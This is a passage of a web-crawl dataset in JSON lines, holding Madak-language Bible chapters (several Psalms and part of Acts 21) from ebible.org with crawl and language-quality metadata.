1.000006914138794}","num_words":75,"character_repetition_ratio":0.125,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"84\nLavavara Ri Loogu At Ne Moroa\n1 Leeme Silok, nu Lanaraavuk. Nia angkongkat mu loogu laplavang taram! 2 A vavara aleng i xusu ana lotu saparav u go! Am doma onon amisik uto at loogu laplavang taram. La anabak pixan momo mi lorooro axap tarak tu, Luntoo Avolo.\n3 Leveng kamkabilin bok dip kip levempotpos atdi ro xeneng at loogu laplavang, la larapixa lixilik (sparrow) bok din tuuna laraogu axa atdi go. La dik lok tatao luvutnitna di ro saparap loxonin laplavang taram. Nenia bok a vara i xusu nak lok saparav u, nu Leeme Silok la Lanaraavuk. Nu Loorong Silok la ne Moroa rak. 4 Lomomo silok atnedi dik lox amisik to at loogu laplavang taram dim suma i, la dik pixan emi asu amisik tu.\n5 Lomomo silok atnedi ua nenu um taba di mi lolos dim suma i, la nedi di vavara rinotno i xusu dinat pas ngan lavaose uto lakaana Saion at loogu laplavang. 6 Kuren la at loxonaleng dit pas polo lemelubu vatmang no at lasa Baka, di reven mo lenep na ravasu ngan lenep at levempuuvut dan, la leventakabu avot ik suxa i mi levempat tibung dan. 7 Ap mo lavatpas di ruuna ka lolos maxat. La dinaba rupot to vana at loxongkaana Saion la nedi getgesara dinaba tu ro melamgo at ne Moroa, mo i silok ti levenmoroa axap.\n8 O Leeme Silok nu Lanaraavuk ne Moroa, una ronga res at lisingising tarak. O Moroa at ne Jakop, tonga ia! 9 O Moroa, una lox anarong loorong atnema, mo loorong ua nenu ugara soxolik ka vam i. 10 Mo legesa aleng mak lok teren to xeneng at loogu laplavang taram, i silok aleng ti mo legesa abin sangaun kobot aleng mak lok teren to vetpes. Naba lox avukat do ana tu mun amisik to maxamang saparap lumusmaragu at loogu at ne Moroa rak la nemen gat ana nemen avukat amisik to at laraogu at luvuttadi dik lok laxapmek. 11 Leeme Silok, nenu Lurutu See Pe atnema la nu Loorong Silok i ruuna lisisinang, la uk lox asuusu lebelemulus tinama la uk lox asilok nama kusu limixin dina raba asinorong nama. Nenu uxom tebeng alis lempanga avukat basinge nedi dik lok luvukat.\n12 Leeme Silok nu Lanaraavuk. Nedi di nunu saga ram din tuuna xaka i lomomo silok!","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA084.htm","date":"2022-05-16T12:58:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662510117.12\/warc\/CC-MAIN-20220516104933-20220516134933-00786.warc.gz","language":"mmx","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000088214874268}","num_words":372,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.228,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"52\nLaxavaxap At Laradi Kapmek\n1 Nu laradi silok, ixo lox avukat do um simi u at laxapmek taram, la mumu bok mo lempanga xapmek uk lox i ri limixin at ne Moroa. 2 U gagas li leventaangas ti lok kapmek leventaba vetpes. Levelinga ram ing sengsen ngan loxonise. Nenu u puse ngas amisik ti xaxarang. 3 Nenu u vavara aleng ti laxakapmek la u ke xepe luvukat. U vavara aleng ti levelinga xaxarang la u ke xepe levelinga ruturun. 4 Nenu laradi xaxarang, u vavara aleng do unak lox asongot mene limixin mi laxalinga xaxarang taram!\n5 Kuren la ne Moroa noxo xap ti lok kapmek amisik tino u. Ni ba ranga alis ka u la ni naba saksu minu basinge loogu ram. La ni naba lox axap tino lorooro ram la unoxo nemen bok ba at lemenemen at limixin di rooro. 6 Limixin manmanton dinaba ven i na la dinaba lingun. La dinabang longon arup u la diba lok do, 7 \"Mina ven ba na laradi goxo vara i do ne Moroa na lok see ren. Ketla ni ga nunu saga at lapnovos silok teren, la ga nunua i do loklok kakapmek naba lox aulis i.\"\n8 Ketla nenia a lok ngan luuna Olip i suusu avukat to xeneng at loogu at ne Moroa. Nia a nunu saga at labalamu lexen teren naba nemen amisik la noxo xap. 9 Nia anaba tong loklox avukat amisik tu, ne Moroa, ti lempanga axap ugara lok pam i. Nia anaba tong asu i do nenu u lox avukat to melamgo at limixin taram.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA052.htm","date":"2022-05-16T06:08:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00691.warc.gz","language":"mmx","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000100135803223}","num_words":252,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.282,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"60\nLavamunepen Diga Sak Tup Mi Limixin Me Israel\n1 Moroa, ugara sox sisixe xepe vam nama, la uga sev asubu vam nama. Ugara musak kepe vam nama, ketla na manga una repukus bilong mu nama. 2 Kuren la nanga ura lox angnengne vam na lenep kangka atnema la ugara lox arem bang pam i. Una i axatu na levenmenemen atnema atla i lok do na subu epeseves. 3 Ura lok pam nema limixin taram kusu mana ekip tangarang mi laxanmumuat solo la laxaloklox asongot silok. Ma saaban ngan ta do ma inin laxangkadan lolos. 4 Nu ugara vaase aronga vam nedi nom di lok ngangao ram, kusu dinaba sepsu basinge leeteke. 5 Una lox asepsu nama mi lolos taram. Una siam at levesingising atnema, kusu una lox asepsu su nema limixin atla u balamu nema.\n6 To at loogu xaala ren Moroa ga tong i xeretna, \"Nia anaba sak tup mi limixin munepen minia la ana sak epeseves di basinge lenep kangka rak. Nia anabapdo epes nom lemenemen Sekem ti limixin tarak, la anapdo episa mo lasa ro Sukot. 7 Nia a ruuna mo lunep Gileat, la Manase. La lenep Epraem bok ni lavatkiam tarak i tupe ia at leesep. La lenep Juda ik lox asuusu lubung amgomgo ri limixin tarak. 8 Ketla lenep Moap naba lok ngan lavattingtigon gosogos panga. Nia anaba lu mi luxompanga vatpas tarak uto at leme Edom, ngan loklok katling do nenia Lamgomgo atdi. Limixin me Pilistia diga lok do dinaba sak tup minia, ketla digoxo epovo.\"\n9 O Moroa, nege bamgo ria ti lok tooro ia keneng at leesep eburu mi leme Edom? Nege ba lok tooro ia xusu ana sak tup midi ro at lemenemen silok atdi, mo diga bos kangkan i mi larangas uat i baalom upana. 10 Kereva, ura sok sisixe xepe rino vam nema? Kereva, ixo epovo bok ba xusu una vas su eburu bok ba mi limixin esep atnema? 11 Una lok tooro nama kusu mana sep limixin munepen, atla lolos at limixin noxo lox epovo tavanga. 12 Do ne Moroa na ru eburu minedik, tanaba sak tup mi limixin munepen, neni naba sev asubu di.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA060.htm","date":"2022-05-16T05:17:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00400.warc.gz","language":"mmx","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000003576278687}","num_words":345,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.241,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"149\nLoxompixan Emi Asu\n1 Leemi asu ri Leeme Silok!\nMina vixan loxom pixan maxat ti emi asu mi Leeme Silok. Mina emi asu min to at lovotpot buru atnedi limixin ua di ruturun tin! 2 Nemi leme Israel, minak lek mumu Laradi Runtudum Li atnemi. Nemi limixin me Saion mina momo mumu mo Loorong Silok atnemi! 3 Mina tii momo ri emi asu mi laasen teren. Mina pasa levengkuvu eburu mi lempat taaleng ti emi asu min.\n4 Leeme Silok in tuuna ka lomomo mumu limixin teren. Im taba asinorong nedi ua dik lok atnaasan la im taba di mi lolos ti sak tup mi limixin munepen midi. 5 Naba lox avukat do limixin at ne Moroa dina momo mi leepang silok atla diga sev asi nedi, la dinak pixan momo maraanu rinotno at lengkanimin axap. 6 Naba lox avukat do dinap kup silok at loxonaleng dina emi asu mi ne Moroa, la dinam tebeng levenise esep sengsen atnedi, 7 kusu tik sak tup mi levenabung mixin petpes, la rik lox asongot di, 8 la kusu ti koxo lavaorong atnedi mi lempat sen, la mo lubung amgomgo atnedi bok mi lempat sen aen. 9 Na lempanga naba ravasu kusu ti lok li liina mavana at levenabung mixin petpes ngan ne Moroa gara vit li vam i. Nai i ngan lasinorong at limixin at ne Moroa. Kuren la dinaba lok kaka laasen silok teren.\nLeemi asu ri Leeme Silok!","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA149.htm","date":"2022-05-16T04:45:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00668.warc.gz","language":"mmx","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000077486038208}","num_words":229,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.24,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"107\nLeemi Asu Ri Ne Moroa Mumu Labalamu Ren\n1 Nedik ata tong avukat ti Leeme Silok mila neni axa i lok nunuan. Labalamu ren naba tu lexen! 2 Nemi axap ua neni ga lox asepsu nimi, mina tong amisik na levelinga ti emi asu mi Leeme Silok i lok keretna, \"Labalamu ren naba tu lexen!\" Neni ga lox asu ka nimi basinge limixin munepen minimi, 3 la gara lam amlong nimi ude boro at levenabung mixin petpes, at lenep meso la mesi la boro bok at lenep mero la mexun.\n4 Lentaba diga soronga ro at lamatbin aaxa la di goxo epovo xusu dina vuse ka tangas tidi uto at temenemen silok kusu diba nemen e. 5 Nedi digak toxo la digak minu, la diga doma i do, di mo dina seeve nga. 6 Melemu diga ro ke at Leeme Silok mumu lumumuat atdi, la neni ga lox asu di basinge lixitkis etaba. 7 La neni ga lam nedi at langas manmanton uto at lemenemen silok, la diga nemen e. 8 Kuren la ik mokso do dina tong avukat ti Leeme Silok mumu mo labalamu lexen teren, la ri lempanga nunuan neni gara lok pam i ridi. 9 Atla Leeme Silok im taba dan limixin dik minu, la im taba nedi dik toxo mi lempanga anan avukat.\n10 Lentaba vetpes digang songot keneng at lamain bonot ngan luvuttadi xokoxo, mo diga xoxo nedi mi levenoos sen. 11 Digak lok go mila diga ronga viribang at levempapaase ali at ne Moroa, ni Lanaraavuk. La diga sok tixirixes xepe levenanasa ren. 12 Kuren la ni ga lox abaava rinotno di mi laxan gugu solo, la digak sak saaban, la goxopmen tara go ri lok tooro di. 13 La melemu diga ro ke at Leeme Silok at levenaleng at levenmumuat la neni ga lox asepmus di basinge mo labaava. 14 Neni ga lam asu nedi basinge lamain la loxokoxo, la ga ba koxorop pes levenoos sen basinge di. 15 Kuren la ik mokso do dina tong avukat ti Leeme Silok mumu mo labalamu lexen teren, la lempanga nunuan neni gara lok pam i ridi. 16 Neni i tit dadas asi lempatban silok limixin dik lox i mi loborons (bronze), la i tit amdamda lengkompanga soksoxoba matmatkun dik lox i mi la aen.\n17 Lentaba vetpes diga lok ngan ta luvuttadi baulang, la diga xip levesongsongot mumu leveloklok kakapmek la leventaangas kapmek atdi. 18 Digak bulunga levempanga anan, la ma lixilik diga lok do dina met. 19 Melemu diga ro ke at Leeme Silok mumu levenmumuat digap kiv i, la neni ga lox asepmus di basinge mo levenaknixip. 20 Neni ga tong asu levelinga ren ti lok pes leven anmeres atdi, la neni ga lox asepsu di basinge lanmet. 21 Ik mokso do nedi dina tong avukat ti Leeme Silok, mumu mo labalamu lexen teren, la mo lempanga nunuan neni gara lox pam i ridi. 22 Ik mokso do dina tong avukat ti Leeme Silok la dina raba i mi leventamtaba eburu mi livikpixan momo, mo naba tong asu mo lempanga neni ga lok pam i.\n23 Lentaba vetpes diga sen tangtagap mi lempatmon to at laras aaxa, kusu dina ruuna kaka lempilas ap mo lugugu atdi rovana at lempatmon. 24 Diga ven lempanga sangsangu Leeme Silok ga lox i mi mo lolos teren to at laras. Mo lempanga ga nunuan aleng. 25 Neni ga vaase, la ga lok kaxat mo langsangan lamanman silok, mo ga lox axatu kaxat lempo paxanao. 26 Lempopaxanao ga xip kaxat mo lempatmon upana xasep la ukopok tino. La mumu mo laniu di goxo doma abelemes bok ba do diba roo. 27 Diga saaban onon la digat pas tangtangku ngan diga inin lengkadan lolos. Di goxo epovo na lok tavanga, keke i do lakleklen solo mo atdi.\n28 Melemu diga ro ke at Leeme Silok mumu mo levenmumuat atdi, la neni ga lox asu nedi basinge mo laniu. 29 Neni ga lox amila lamanman bet la garak lox atnaasan ta, la lempotas at laras bok digak midi mila. 30 Diga momo aleng at lavanga ga mila, la neni ga mu asu lavavara atdi diga oso avukat to at losoolom. 31 Ik mokso do dina emi asu mi Leeme Silok, mumu labalamu lexen teren la lempanga nunuan neni ga lok pam i ridi. 32 Ik mokso do dina tong asu laasen silok teren keneng at lovotpot buru at limixin, la dina emi asu min kantubu at lovotpot buru at luvuttadi amgomgo.\n33 Leeme Silok ga vuk gili leven menemen dan ga ngan ta lamatbin patmang. La lengkondan i puuvut su, neni ga lox amesemes i, 34 la laxangka liliun neni ga lox i ga ngan ta lomontep. Neni ga lok na lempanga mumu laxapmek atnedi diga nemen go ap mo leven menemen dan.\n35 Melemu neni ga ba gili lamatbin patmang, ga ngan manga lengkodan i puuvut su, la neni ga lox asen amu laradan sen go ap mo lenep. 36 Neni ga siam avolo limixin digak pakes ti lempanga anan kusu dina nemen go, la diga xip lemenemen silok tidi ri nemen e. 37 Digat lotlo leventaamang la laxanoos vaen, la digap sepkin aleng. 38 Neni ga lox anarong nedi limixin teren, la diga vosok aleng. Neni goxo ke xepe ba levesipsip mi levenbulumaxao atdi gita mun pipisik.\n39 Melemu limixin munepen diga sak tup mi mo limixin at ne Moroa la diga lox amangan nedi, la diga lox abaava aleng nedi mi leven aknixip la levesongsongot silok. 40 Ketla ne Moroa ga lox asongot nedi limixin munepen. Ni ga riki di uto at lamatbin aaxa kusu dina soronga go. 41 Ketla neni ga lam aase mo limixin pakpakes teren, basinge levenmumuat atdi. La ga lox anarong di kusu dina vosok aleng ngan laxasipsip. 42 Do limixin manmanton dina ven i na, dina momo, ketla nedi limixin kapmek dinaba vamus levenngusno atdi.\n43 Do nege lodoxoma ren i xasep nunuan, ni na doma mumu i na lempanga, la na doma mumu avukat bok labalamu lexen at Leeme Silok.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA107.htm","date":"2022-05-28T00:26:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663011588.83\/warc\/CC-MAIN-20220528000300-20220528030300-00222.warc.gz","language":"mmx","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.000009536743164}","num_words":956,"character_repetition_ratio":0.081,"word_repetition_ratio":0.02,"special_characters_ratio":0.226,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"109\nLisingising At Laradi I Ekip Tangarang Mi Lumumuat\n1 Moroa, nenu xusuk mun, nia a emi asu minu. Nemen gat utam pamngus, 2 mila limixin kapmek la limixin sosolo arup, monga di paase sox ia, la dira li laxaxarang mavana rak. 3 Di xarang taba ia, mi laxalinga belengatngas atdi. Dik sok taba parang mun ia mi levelinga la kopmen tavasuun teren. 4 Nia agat kis etangas eburu midi la aga ngising tidi, ketla dixo tu tooro ba ia. 5 Di vorang amlong lununuan tarak tidi mi laxakapmek, la lixitkis etangas tarak tidi di vorang i mi lebele ngatngas atdi.\n6 O Moroa, una lok katling ka taradi sosolo arup, kusu ti lok li laradi munepen minia at lavapaase, la mo laradi sosolo arup na sok taba i mi levelinga. 7 La do dina ronga linga ren, a vara i xusu diba vuse ka laxapmek teren. La i epovo do limixin dina ronga levesingising teren la dinaba ronga xibis i do ni laradi xapmek. 8 A vara i xusu levenaleng at lorooro ren na xap kot. A vara i do tara vetpes na lok ka lixitkis amgomgo ren. 9 A vara i do laxamdak mi laxaalik teren dina ravasu ngan lubungkarun, la latkin teren nak lok naa. 10 A vara i do laxamdak mi laxaalik teren dina lok ngan luvuttadi singising panga. A vara i xusu dina sakala su midi boro at loogu tem dadas atdi. 11 A vara i do na laradi xapmek, do tevendinau go ren, mo luvuttadi na laradi xapmek ga dinau atdi, dina vot la dina lok ka axap lempanga ren. A vara i do limixin petpes bok dina lok ka mo lempanga ni ga gugu ka i. 12 A xopara tara na lox asu loklox anare rin, kopla na balamu mo laxamdak mi laxaalik teren melemu at lanmet at ne temen di. 13 A vara mo livipisik li ren dina met ut, la laasen teren dina sakpun kepe i ap mo laraola melemu. 14 A vara i do laxakapmek at lavalabat teren nak lox amisik at lodoxoma at Leeme Silok, la mo laxapmek at nenen, na nemen amisik la nemen gat di guta lok pes kepe i. 15 A vara mo laxapmek atdi nak lox amisik to melamgo at Leeme Silok la neni naba ra korop asu xepe levenasen atnedi basinge lodoxoma at limixin.\n16 Mo laradi xapmek goxom doma i do nak lok toloklox anare, ketla gak lox asongot limixin banbalo la gap sev amet di eburu mi limixin pakpakes la baava. 17 Neni ga vavara solo i xusu na lili lasaxaek, a vara i do mo laxasaxaek namlong mu i. Neni goxopara i xusu nak lox anarong limixin, a vara i do teta noxo lox anarong i. 18 Neni gak lok momo rik lox asaxaek limixin, ngan lasakula ren. La a vara i do mo loklox asaxaek teren na suxuna amlong i ngan ladan la ngan bok ladan momonok i beles ukeneng at levesi ren. 19 A vara i do lasaxaek na nemen amisik eburu min ngan lavanga singsiga ren, la na ngan labanbaane diga sevut li i ren.\n20 O Leeme Silok. A vara i do una mu asu mo langas la una lox asongot nedi limixin munepen minia, atla di xaxarang taba ia do nia laradi xapmek. 21 Ketla nenu Leeme Silok la Loorong Avolo. Una lok tooro ia kerekngan uga xaape min, la una lox asu ka ia basinge di mumu labalamu nunuan taram. 22 Nenia mun laradi banbalo la pakpakes, la no xeneng at lavatpeve rak ing songot aleng tinotno. 23 La i auret do ana sonao mun ngan lovovo at laradi laxangking i soosoo rin ukantinao, la a lok ngan mun lasku lamanman i mas kepe i. 24 Luvatgulom tarak i meramun axap mila anmun anan. La labantuxu rak ira gelegen ta la ira molobe nga. 25 Do limixin di ven ia, dik lok kalise ia. La do di ven kora ia, dira piripat patlak ta.\n26 Leeme Silok ne Moroa rak. U ruuna labalamu lexen, kuren la una lok tooro ia la una lox asepsu ia basinge limixin munepen minia. 27 Una lok di dinaklen i do nenu Leeme Silok, uga lox asepsu ia basinge di. 28 Diba li lasaxaek tarak, ketla nenu unaba lox anarong ia. A vara i do una lox amangan nedi limixin loklox asongot kusu nenia, lasaxaruki ram anaba lok momo. 29 A vara i do limixin munepen minia dinaba ruuna ka lainmangan silok, la mo lainmangan naba suxuna di ngan lavanga singsiga atdi.\n30 Nia anaba tong avukat aleng ti Leeme Silok la ana emi asu min kantubu at lovotpot buru at limixin. 31 Mila Leeme Silok i tu at lenep at limixin banbalo, la ik lox asepsu nedi basinge limixin sepsev amet.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA109.htm","date":"2022-05-20T00:52:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662530553.34\/warc\/CC-MAIN-20220519235259-20220520025259-00064.warc.gz","language":"mmx","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.000009536743164}","num_words":760,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.296,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"101\nLaxakaape At Loorong At Leme Israel\n1 O Leeme Silok. Loxompixan tarak i paase mumu labalamu ram la um gomgonga limixin at langas in manton. La nia anak pixan emi asu minu. 2 Loklok tarak nabap sepse. Ningisa ba unaba vot pasa ia? Lorooro rak naba dadat to xeneng at loogu rak, 3 la anoxo esuuxun mi laxapmek. Nia ak lox angtungun ti leveloklok atnedi limixin tongtonga xepe. Nia a noxot kis esogo rinotno bok ba eburu minedi. 4 Anoxo babala vukpuk, la anoxo emu mi limixin kapmek. 5 Anaba riki xepe nege di, di vepaase siksikma xapmek mumu lentaba vetpes. A belengatngas ti taradi loklox aaso la im simi aurur i.\n6 Anaba siam kaka nedi di ruturun tu la anaba siam abeles nedi xusu dinabak lok eburu minia ro xeneng at loogu rak. La nedi ua dixo babala vukpuk, anaba siam ka di xusu dina gugu ria.\n7 Naba xopmen tetadi xaxarang naba nemen eburu minia ro xeneng at loogu rak. La xopmen tinotno tetadi sosolom naba nemen saparav ia. 8 At levenaleng amisik anaba sesele utut limixin ua dik lok leveloklok kapmek keneng at lenep kangka atnema. Anaba saksu minedi lorooro atdi i bilinga rino uto xamang basinge lemenemen silok taram.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA101.htm","date":"2022-05-20T00:13:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662530553.34\/warc\/CC-MAIN-20220519235259-20220520025259-00696.warc.gz","language":"mmx","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000005841255188}","num_words":196,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.163,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"128\nLeveloklok Anarong Boro At Leeme Silok\n1 Lomomo mo ik lok tinedi ding tonga res at Leeme Silok, la lavatpas atdi i mumu asu leventaangas teren.\n2 Do nemi bok mina ronga res teren, mo lugugu atnimi naba lox asuusu lempanga ri lox epovo lavakpakes atnimi, la minabak lok momo la minaba ngasang kobot at lempanga axap. 3 La lavakin atnimi dinaba lok ngan loos vaen to xolonu ua i pisik aleng. Laxamdak mi laxaalik atnimi dinaba rooro avukat ngan larauna olip maxat to xeneng at levenang kolonu atnimi. 4 Do laradi nang tonga res at Leeme Silok, neni naba lok kaka ruturun leveloklox anarong kerepmo.\n5 Naba lox avukat do Leeme Silok boro Saion, naba lox anarong nimi. Naba lox avukat bok do at levenaleng axap at lorooro atnimi minaba ven lemenemen Jerusalem na vosok. 6 La naba lox avukat bok do mi noxo met se minaba ven luvuttubuno nimi.\nLimila nak lok to Israel.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA128.htm","date":"2022-05-20T00:15:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662530553.34\/warc\/CC-MAIN-20220519235259-20220520025259-00445.warc.gz","language":"mmx","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000091791152954}","num_words":150,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.24,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"72\nLisingising Ti Loorong\n1 O Moroa, una anasa loorong kusu ni naba viila mumu loklok at limixin mi lodoxoma mokmokso i ngan mun taram. Una lox ase i mi levelinga loklox akmokso ram, 2 kusu neni naba viila mumu avukat limixin taram at levenaleng neni naba nemen ngan lamgomgo atnedi. La neni nabam gomgonga nedi luvuttadi ua di baava. Neni naba lox i na mi levelinga manmanton. 3 Nia a sing bok do limixin at na lenep kangka ren dina ngasang kobot, la na lenep na umsu mi loklok manmanton. 4 La loorong na ila leveloklok at luvuttadi banbalo mi lodoxoma ruturun. La neni na lok tooro luvuttadi vakpakes la nat pas asi luvuttadi loklok papavas.\n5 La a sing bok do limixin taram dina lotu saparap amisix u at levenaleng laxangking i soosoo, la at levenmaares lagaaling im taba asu losoosoo ren ti na loola la ti mo bok lavaola dibap tavasu. 6 La loorong na lok ngan larakabu ri leventaamang la naba ngan bok levengkaramis dan im subu ro vana at laxangka. 7 La loklok manmanton na sisilok lolos kantubu at limixin at ne Moroa keneng at levenaleng axap at lorooro ren. La dina ngasang kobot amisik kerekngan lagaaling im taba amisik laxasep.\n8 La a sing bok do lixitkis orong teren na vung kimit mo levennep kangka ik lok saparap laras, la na sisilok, ruka i ro at ladan sen Iupretis la na se at latnese at lavatbung menemen. 9 La limixin boro at lamatbin dina tu tiktikbu mi lempatgulom atdi ro melamgo ren. La limixin munepen min dina subu midi gamasa mi lenbantuxu atnedi uto xopok at laxangka ri lok ngangao ren. 10 La lavaorong me Spein la boro at levesoxan bok, dinak lok leventamtaba rin. Lavaorong me Sheba la Seba dinabam taba i mi leventamtaba. 11 La lavaorong axap dinat kis tiktikbu ro melamgo ren. Limixin at larabung mixin axap dina gugu taba i.\n12 La a sing bok do loorong na lox asepsu luvuttadi banbalo ua di toro rin basinge lorooro etaba, la nedi bok ua dik pakes la lavapen abulubun. 13 Neni na lox asuusu lebelen tuntun tinedi dixo ruuna lolos la di banbalo. Neni na lox asepsu limixin pakpakes basinge lanmet. 14 Neni na lox asepsu di basinge limixin loklok papavas, limixin mukmusak, la limixin sepsep tadi, atla lorooro atnedi i lok ngan lavanga matmatkun tin.\n15 Naba lox avukat do loorong na rooro amisik! La limixin dinam taba i mi levengol boro Sheba. La keneng at levesingising at limixin, dina tong ke amisik teren at levenaleng axap. La loklox anarong at ne Moroa na nemen amisik pana ren! 16 La na lenep kangka na umsu mi laxam piao. La lengkong kaana nam tebonot pe mi levempeeve anan, la dina pisik solo ngan leventauna ro Lebanon. Keke mo laramenemen silok teren na umsu mi limixin, la na lok ngan laxangka i umsu mi levempivilis. 17 Naba lox avukat do limixin di noxo domampe laasen at loorong at levenaleng axap i tu melamgo. La keke mo lakleklen at limixin mumu i, na nemen amisik ngan laxangking. La limixin at larabung mixin petpes bok dina ngising ne Moroa ri lox anarong nedi ngan ni gara lox anarong pam loorong.\n18 Leemi asu ri Leeme Silok ne Moroa me Israel! Neni xusuk mun ik lok mo levempanga maraanu. 19 Leemi asu amisik la kopmen tekavaxap teren ti laasen melemelengan teren! Keke lisisinang teren na suxuna axap lavatbung menemen. Tuturun! Tuturun!\n20 Neni na laxavaxap at levesingising at ne Devit, lamdak at ne Jesi.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA072.htm","date":"2022-05-16T05:50:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00593.warc.gz","language":"mmx","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.0000078678131104}","num_words":568,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.331,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"21\nPol Gat Pas Uto Jerusalem\n1 Limixin me Epesas diga lox abeese nama mi lainbulu silok la maga on basinge di. Maga sen kaxat la maga sen epopolo uto Kos. Ap mo laaleng melemu maga rupot to Rodes, la maga sen kaxat me go uto at lemenemen Patara. 2 Mo go maga long lenget lara lavatmon, mo ga lok do na sen kaxat uto Ponisia. Kuren la maga los kas ap mo lavatmon la maga sen kaxat. 3 Maga vot at lara loxot la maga ven losoxan Saipras, la maga sen polo i at lenep kia ap mo losoxan uto at lenep silok Siria. Maga oso ro Taia, mo go lavatmon ga oso xusu dina xip asu lentaba lempanga.\n4 * Gu 20:23Maga long lenger i do lentaba luvuttadi nunu mo diga nemen go, la maga nemen eburu minedi at lavanuti aleng. Mi lolos at Loroonan Kaala diga tong i ri ne Pol do ni noxot pas uto Jerusalem. 5 Ketla levenaleng atnama ri nemen go ga xap, la maga on basinge mo lemenemen silok. Nedi axap, eburu mi lavakin atnedi la laxaalik kakalik atdi, diga vas kaxat eburu minema uto loxon. Maga xis tiktikbu mi lempatgulom atnama ro loxon la maga lok lising. 6 * Gu 20:36Melemu diga xaduk aonon nema, la maga los kas at lavatmon la nedi digamlong ukolonu.\n7 Maga sen kaxat boro Taia la uto Potolemas, mo go maga vot pasa luvuttadi nunu la maga nemen eburu minedi at leges aleng. 8 * Gu 6:5; 8:40Ap mo lara laaleng melemu maga on basinge di la maga rupot to Sisaria. Mo go magat pas uto at loogu at laradi vapaase asu Lagale Lavavang, laasen teren ne Pilip, la maga nemen eburu min. Neni lara atnedi lavanuti luvuttadi no diga soxolik ka di ro Jerusalem. 9 * Gu 2:17Neni ga ruuna lavanuet laxaalik kovisi di goxo epot, mo diga vavang mi levelinga at ne Moroa.\n10 * Gu 11:28Maga nemen go at lentaba levenaleng, la lara leeme vapaase ali, laasen teren ne Agabas ga rupot boro Judaia. 11 * Jo 21:18; Gu 20:23; 21:33Ni ga vot pasa nama, la ga lok ka labaane at ne Pol, la ni ga xoxo ka 